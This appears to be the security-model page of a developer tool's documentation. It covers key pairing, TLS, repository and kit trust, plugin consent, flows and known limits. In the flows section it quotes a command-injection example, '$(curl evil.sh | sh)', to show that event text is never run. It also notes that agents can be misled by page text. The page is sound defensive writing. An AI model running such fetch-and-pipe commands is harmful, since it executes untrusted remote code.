- Home
- Orchestration
- Durable runs
- Terminals
- Browser and Preview tabs
- Go to file, File tabs and the Files panel
- Artifacts
- Visual diffs
- Agent browser
- The offline queue
- Automations and flows
- Hooks and gates
- The resource guard
- Project config
- Kits
- Team setup
- Review a PR
- Linear
- Leadline
- Secrets with 1Password
- Task templates
- Agent integrations
- The phone companion
- More than one computer
- Writing a plugin
- Themes
- Labs
Security model
Who Shipyard trusts and for what, how laptops and boxes prove who they are, what guards repository config, kits, flows and plugins, and what is still open.
Every connection in Shipyard is between two keys that have met before. Nothing on a box is reachable without a paired laptop, and nothing is public unless someone shares it. Inside that, Shipyard runs other people's code and data (a repository's config, a kit, a plugin, a pull request's comments), and asks before any of it runs.
Who is trusted with what
| Who | What they can do | What guards it |
|---|---|---|
| A paired laptop | Everything the box's user can: start shells and agents, run commands, change config, upgrade berthd | Pairing (one code, used once), pinned keys, berthd revoke |
| Anything running as the box's user (agents, scripts, hooks) | The same, through berthd's socket and ~/.berth | Nothing beyond the operating system: it is you on that box |
| Someone who can commit to a repository on a box | Nothing, until you trust its .berth/config.json on that box | Repository trust, per content hash |
| A kit's author | Nothing, until you apply the kit you reviewed | Kit review, pinned to a hash |
| A plugin's author | Everything the app can, once you allow the plugin | Plugin consent, pinned to a hash |
| Whoever writes event data (a PR title, a review comment, a branch name, an agent's output) | Text in your flows, never commands | How flows fill in values |
| Someone with a box's phone token | Read agents' screens and type into sessions on that box, from your tailnet | The phone |
| The network | Nothing: it sees encrypted traffic between pinned keys | Identity and transport |
Pair only laptops you own, and only trust repositories, kits and plugins whose authors you would let run commands as you.
Identity and transport
Every installation has an Ed25519 key; its identity is the SHA-256 of the key's SubjectPublicKeyInfo. Certificates are regenerated on every start and carry no meaning beyond the key.
Connections are TLS 1.3 with mutual certificates. Each side accepts only the other's pinned key, never a certificate authority. On top, HTTP/2 multiplexes pings, API calls, TCP streams and terminals over one connection per box, with health pings to notice a connection that died silently.
An unpaired client can complete a handshake but only attempt pairing, which is rate limited per source address (with a larger limit across all of them), counting only failed attempts, so a stranger cannot lock you out of pairing from your own machine. Every other request is refused with the same answer, whatever the reason. A trust store that cannot be read authorizes nobody.
Pairing
- On the box,
berthd pairstores a random 256-bit single-use code (ten minute expiry) and printsberth://HOST:PORT?code=…&fp=<box fingerprint>. - The laptop connects to
HOST:PORTand pinsfp. - The laptop proves it holds the code without sending it: an HMAC keyed by the code over TLS exported keying material (RFC 5705) and the laptop's own fingerprint, so the proof is bound to this session and this key.
- The box consumes the code under a file lock and pins the laptop's key.
The install script
runs on the box itself and ends with step 1, so the laptop needs no SSH at
all. berth add ssh HOST does all of this over one SSH session instead: it
detects the box's platform, uploads the matching berthd, installs the
service, and pairs. It checks box and network names before they reach an SSH
command line, and a host key is trusted without asking only when you pass
its fingerprint (--trust-host-key), which Set up in the app does for a
tailnet machine whose key Tailscale reports.
On the box, berthd clients lists paired laptops and
berthd revoke <name|fingerprint> stops trusting one. On the laptop,
berth forget BOX removes a box.
Inviting another computer
A paired laptop can ask a box for a pairing code for another computer of the
same person (berth invite, Settings → Computers). The box issues it over
the laptop's own pinned connection, exactly as berthd pair would: one
code, single use, ten minutes, consumed under the same lock and proven the
same way (step 3), so the code still never crosses the network from the new
computer. Asking runs the before:pairing.invite gate, is limited to ten
codes per ten minutes per box, and announces pairing.invited with who asked,
never the code; no box or laptop logs a code.
The laptop bundles one code per box into a join link with each box's addresses and fingerprint, which the new computer pins. It holds no key of the inviting laptop and no token. Whoever holds the link before it expires can pair with those boxes, so the app and CLI ask before making one and say so; see more than one computer. A link whose fingerprint was changed reaches no box (the handshake fails before any proof), and a used or expired code is refused like any other.
Revoking a laptop
berthd revoke removes a laptop's key, and the running daemon closes the
shells, port streams and event streams it still had open: at once when
berthd revoke runs on the box, otherwise within a second or two. Another
paired laptop can do the same from Settings → Computers (DELETE /v1/clients/{name}, gated by before:client.revoke), which closes them at
once; a laptop cannot remove itself that way.
Where berthd listens
By default berthd listens on the box's tailnet address only and refuses to
start if there is none. Listening on the internet takes an explicit
--listen 0.0.0.0:7444. berthd pair advertises the address it actually
listens on.
Reaching other tailnets
A laptop's system Tailscale can be on only one tailnet. For boxes on another
(a personal tailnet while the Mac is on a work one), the agent runs an
embedded Tailscale node per named network (berth network login personal, a
one-time browser sign-in). Each paired box records the network it is reached
through; pairing, the agent's connections and add ssh all dial through it.
Shipyard's own pinned TLS still runs on top: the tailnet only provides the route.
On the laptop
- Private URLs. Every port on a box is reachable at
http://<port>.<box>.localhost:1377/. All operating systems resolve*.localhostto loopback, so no DNS is involved. The proxy presents requests to the app aslocalhost:<port>and rewrites the app's own redirects back, so dev servers need no configuration. Unknown hosts are refused, which blocks DNS rebinding. Fixed-port forwards listen on both loopback addresses and refuse a port another program already holds on::1, wherelocalhostresolves first on macOS. - The app's API on
127.0.0.1:1378takes a bearer token from a file only your user can read, checks theHostheader, and allows only the app's own origins. The token travels in a header; only WebSocket upgrades, which a browser can't give headers, may carry it in the query string. See the app's API. - What the app runs. The packaged app starts the laptop agent only from
the
berthit carries (Contents/MacOS/berth-cli), and only while that is signed by the same Developer ID team as the app: never one onPATH, in~/.local/binor named byBERTH_CLI, where anything running as you could plant one. Only a dev build looks elsewhere. The same goes for Use this Mac: the agent installs only the app's ownContents/Resources/berthd, checked against the app's team before it is copied out, and the copy is checked again (codesign --verify) before launchd runs it. That box listens on127.0.0.1only. - Service keys. A Linear API key is kept by the laptop agent in a file only your user can read. The agent makes every call to Linear itself, a fixed set of reads and one write (a comment); the app's window, plugins and boxes are told who is connected, never the key.
- SSH config.
berth ssh-config --writewrites a host per box for editors. The SSH user a box reports is checked against a strict pattern first, so a box can't add lines of its own to your SSH config.
Public shares
Sharing is opt-in, one port at a time (berth share BOX PORT). The box
runs a Cloudflare quick tunnel, so a link survives the laptop sleeping.
Shares end when revoked or when berthd stops or upgrades; none outlive the
daemon that manages them. Agents' skills
tell them never to share a port unless a person asked.
Releases and upgrades
- The Mac app is signed with a Developer ID and notarized by Apple. Its updates come from the latest GitHub release, over HTTPS, and are installed only if they carry a valid signature from Shipyard's updater key, whose public half is built into the app. Nothing installs until you choose Restart to update.
- berthd and the CLI from a release are checked against the release's
checksums.txtby the install script. That catches a broken or truncated download, but the checksums come from the same release, so they don't prove who made it (see known limits). berth upgrade BOXuploads the matching daemon over Shipyard's own connection. The box runs the upload once to check it starts and reads the box's own identity, swaps it in, and re-executes in place, keeping its PID so the supervisor sees no restart and sessions are untouched. Public shares stop first. The check catches a wrong build, not a malicious one: any paired laptop can replace berthd, as it can run any command there. Abefore:box.upgradegate sees each upgrade.
Repository config
A repository's committed .berth/config.json holds commands: a setup
script, services, hooks, flows, environment and agent commands. Anyone who
can commit to a repository could otherwise run them on every box that has
it. So a box runs none of that until someone trusts the file on that box,
for that project, and only the exact bytes they saw (its SHA-256 hash): any
change to the file waits to be trusted again. Until then only its port count
applies, and the app shows what it wants to run (This repository wants to
run …). From a terminal, berth location config BOX/LOC shows it and its
hash, and --trust HASH or --untrust decide. A kit you apply and the box's
own config are yours and need no trust. See
trusting a repository's config.
Kits
A kit runs its scripts on the boxes you apply it to, so nothing in one runs until you have seen it:
- Adding a kit shows everything it does and every file it carries, with a hash of all of it. What is kept is exactly what you saw: the link is fetched again when you confirm, and refused if it now hashes differently.
- Applying is a separate step, and applying from the review goes ahead only while the kept copy still has the hash you reviewed.
- On a box, a kit's files are written only inside its own folder, and
before:kit.installandbefore:kit.removegates can refuse them.
Review links
A review link, berth://review?repo=OWNER/NAME&pr=N,
can come from anyone, so it carries no authority:
- Read strictly. It names a repository (
[A-Za-z0-9._-]+/[A-Za-z0-9._-]+) and a positive PR number, and at most a head commit, which only warns when it is not the head, a dev user to open it logged in as (used only when the project's trusted login lists them) and a page on the worktree's own address. Any other parameter, one given twice, or a value out of shape makes it no link: no command, file path, setting or variable is ever read from one. - Never run on open. Opening it shows the review sheet and nothing
else. Nothing is fetched to a box or run until you press Review, which
checks everything again;
berth reviewasks unless given--yes. - Who. The repository must be one of your team setup's projects or
already on one of your boxes. The PR is read with your own
gh, so you see only what your account can, and it must be open, from a branch of that repository (not a fork), by a member, owner or collaborator. - The commit shown. The box fetches
refs/pull/N/headand makes the worktree only if it is the commit you confirmed. A PR that moves on doesn't move the review; Update to latest asks again. - Setup from the team, never the PR. The kit and the
.berth/config.jsonthe box trusts, read from the main checkout, set it up; the PR's own.berth/never runs, and git hooks are off while it is checked out. The sheet lists the files in the PR that touch setup. - Keys. The team's shared keys, as any worktree gets them; never your
own (
team.json'saskkeys). - Contained and cleaned up. Its dev server is reachable only through the private URL, its sessions run in their own scopes, and it is removed when the PR is merged or closed or after 7 days unused, never with uncommitted changes without asking. Each step is in the box's journal.
Flows and event data
Flows run on events whose data can come from someone else: a pull request's title, a review comment, a branch name, an agent's output. That data is only ever text:
- A
runstep's command never contains a value. Each variable is in the command's environment as$BERTH_FLOW_…, and{{event.body}}in a command becomes a quoted reference to it, so a comment of$(curl evil.sh | sh)is passed as those characters. - Values in a webhook's URL are percent-encoded, and values in its body JSON-escaped, so a value can't add a host, a path, a parameter or a field.
- A secret's value never leaves in a webhook, a notification or a step's
kept output: it shows as
[secret]. - Webhooks and phone notifications reach only public
addresses (notifications also your tailnet). Loopback, private, link-local,
cloud metadata and other reserved addresses are refused, checked on the
address actually dialled, redirects included, unless the box's owner
allows them in
~/.berth/network.jsonon the box, which nothing in the API or a repository can change. See outbound requests.
Git and files on the box
- Cloning a repository and fetching a kit allow only git's
https,http,sshandgittransports, so a link can't usefile://to read a local repository orext::to run a command. (A kit can still come from a folder on your laptop, which is copied, not cloned.) - Installing Shipyard's skills into a repository refuses to follow symbolic links, so a repository can't redirect the write to a file elsewhere on the box.
Secrets and prompts
- A project's environment can name secrets (
op://…for 1Password,env://…for a variable in berthd's own environment) instead of holding them. Values are read when needed and kept in memory: sessions and services read theirs inside their own process (berthd secret exec), so a value is never on a command line. No value is written to disk, a log, an event or the API; see secrets. - A prompt typed into a session (
berth session send, a flow'spromptstep, the phone) never appears in events or logs:session.sentcarries only the session's name, and agent tool hooks forward only identifiers and paths. - A first prompt is different:
berth task new --promptand a flow'sstart_agentput it on the agent's command line, so it is part of the session's command, whichsession.started,before:session.startand the sessions list carry (see known limits). - The offline queue keeps prompts on the laptop, in its state directory, and never puts them in an event.
The phone
Each box can serve a small phone app on its tailnet address, off by default, with a token per box. Its threat model is on the phone page.
Gates
before: hooks on a box can refuse actions (creating worktrees, starting
sessions, sending prompts, running exec, installing kits, changing config,
replacing the hooks themselves), whoever asks: the app, the CLI, a flow, an
agent or the phone. Every API route that changes something runs one; see
the list.
A gate sees an origin the box can vouch for. A paired laptop is
laptop:<name> and the phone is remote, whatever origin they claim; only
a caller on the box's own socket names its tool. So a gate scoped to a
tool lets that tool's own actions through only when the tool runs on the
box. See hooks.
Gates are a convenience, not a security boundary: they keep agents and
automations inside the lines you draw, but a paired laptop can already run
commands on the box, and anything running as the box's user can edit
~/.berth/hooks.json.
Plugins
Desktop plugins run inside the app with its full access: its API token,
every paired box, and the network. So a plugin you install never turns on by
itself. The first time, the app shows what it can do and a hash of its code,
and runs it only once you allow it; when its code changes, it is off until
you allow it again. On a box, a plugin's hooks run only once the plugin is
listed in the box's ~/.berth/plugins.json. See
trust and consent.
A plugin's helper
A plugin can also bring a helper: a program berthd keeps running on a box, such as the one that records your dev servers' queries for Leadline. It is not sandboxed. A helper is a program that runs on the box as you, for as long as berthd runs, and can read and do there whatever your account can. Turning one on for a box is deciding to run its author's program on that box.
What Shipyard holds it to:
- Only an allowed plugin gets one, and only when you turn it on, box by box. The plugin's manifest names the helper and the SHA-256 of its build for each platform, and the manifest is part of the hash you allowed. When the plugin changes, the permission lapses and its helper is not installed or updated until you allow it again. A helper that is already running keeps running until you turn it off (turning one off never needs the plugin to be allowed).
- The program that runs is the one the manifest names. Your laptop downloads the build, from whatever address the manifest gives, and uploads it over Shipyard's own connection only if its size and SHA-256 match. berthd checks the bytes again before it keeps them, and checks the file again each time it starts it. A download that was tampered with or replaced at its address is never run.
- It runs what the manifest says, where berthd put it. The program lives in its own folder under berthd's state directory, with a name and a version that cannot be a path. Its arguments are the manifest's alone. It gets a small environment, not berthd's own, so a token berthd was started with is not handed to it.
- It is reached on loopback only. berthd relays the app's requests to
the address the helper says it listens on, and refuses one that is not on
the box itself. A request reaches the helper with its own loopback address
as the
Hostand noOrigin, so the helper can refuse every web page. Nothing of it is opened to the network. - What it can change about your dev servers is named in the manifest.
Before a worktree's service starts, a helper may be shown, and may set,
only the variables its manifest lists (
attach_env): for Leadline the database URL and the OpenTelemetry variables. Variables that name a secret are never shown to it or replaced, a helper that is slow or failing changes nothing, and berthd logs none of it. - Only a paired laptop installs one. berthd takes a helper from a laptop you paired, which is where the plugin was allowed. An agent or a script on the box, which reaches berthd through its socket, can list helpers and remove one, but cannot hand berthd a program to keep running.
- The box's owner has the last word.
berthd helperslists what runs,berthd helper rmremoves one, and abefore:helper.installgate can refuse them all.
What the checksum does not do: it is not a signature, and says nothing about who built the program or whether it is safe. Whoever writes a plugin's manifest chooses the checksum in it, and whoever can change the listing a plugin is installed from can offer a manifest with another. What stands between that and your box is the consent dialog, which is for exactly the manifest you saw.
The agent browser
An agent's browser runs on the box, never on the laptop: it has none of your
cookies, it is not the app's own web view, and its profile is thrown away
when it closes. Its only way out is a proxy inside berthd that lets it reach
the worktree's own pages and port block, and public origins the box's owner
allows (or a trusted repository config asks for), dialled through the same
private-address check as webhooks. Other worktrees, berthd, databases,
private ranges, metadata endpoints and the internet are refused. berthd
drives it over a pipe, so there is no debugging port for other processes to
attach to. Opening, scripting, watching and widening it go through
before:browser.* gates. See agent browser.
Known limits
- An agent's browser can be talked to by its page. Page text reaches the agent; the skill tells agents to treat it as data, but a model can still be misled by it. The proxy keeps what the page can make the browser reach to the worktree's own origins.
- Plugins are not sandboxed. Consent decides whether a plugin runs, not what it can do once it runs. Running each plugin in an isolated view with only the capabilities it asks for is planned.
- Gate origins on the box are claimed, not proven. A caller on berthd's
own socket names its own origin (
--origin,BERTH_ORIGIN), so anything running as the box's user can pass a gate scoped to a tool. That is the same user who can edit the hooks. - First prompts and plain environment values are on command lines. A
first prompt is in the agent's command (
$SHELL -lc "claude '…'"), and the project's plainenvvalues are passed to tmux as-e KEY=VALUE, so other processes on the box can see them, for instance withps. Secret references (op://,env://) are not: they are resolved inside the session. Keep anything sensitive in a secret reference. - Release archives are not signed.
checksums.txtproves a download is intact, not who published it, andberth upgradetrusts the laptop that sends the binary. Signed checksums and signed daemon upgrades are planned. - The tailnet address is found by its range. berthd listens on the first
address in
100.64.0.0/10, Tailscale's range. On a network that also uses that range for carrier-grade NAT, check where it listens withberthd doctor. *.localhostcookies are shared. A dev server that sets a cookie forlocalhostitself makes it visible to every other private URL in your browser, across worktrees and boxes.- Handshake flooding. Pairing is rate limited; TLS handshakes are not.
- Not yet reviewed independently. The pairing protocol and the surface before authentication should have an outside review before teammates rely on them.
- One person per box. Team sharing (one box used by several people, and granting and revoking their access beyond per-laptop pairing), Windows, and dropping the proxy port with a privileged helper are open.
Ready to pair? Add a box.
Last updated
On This Page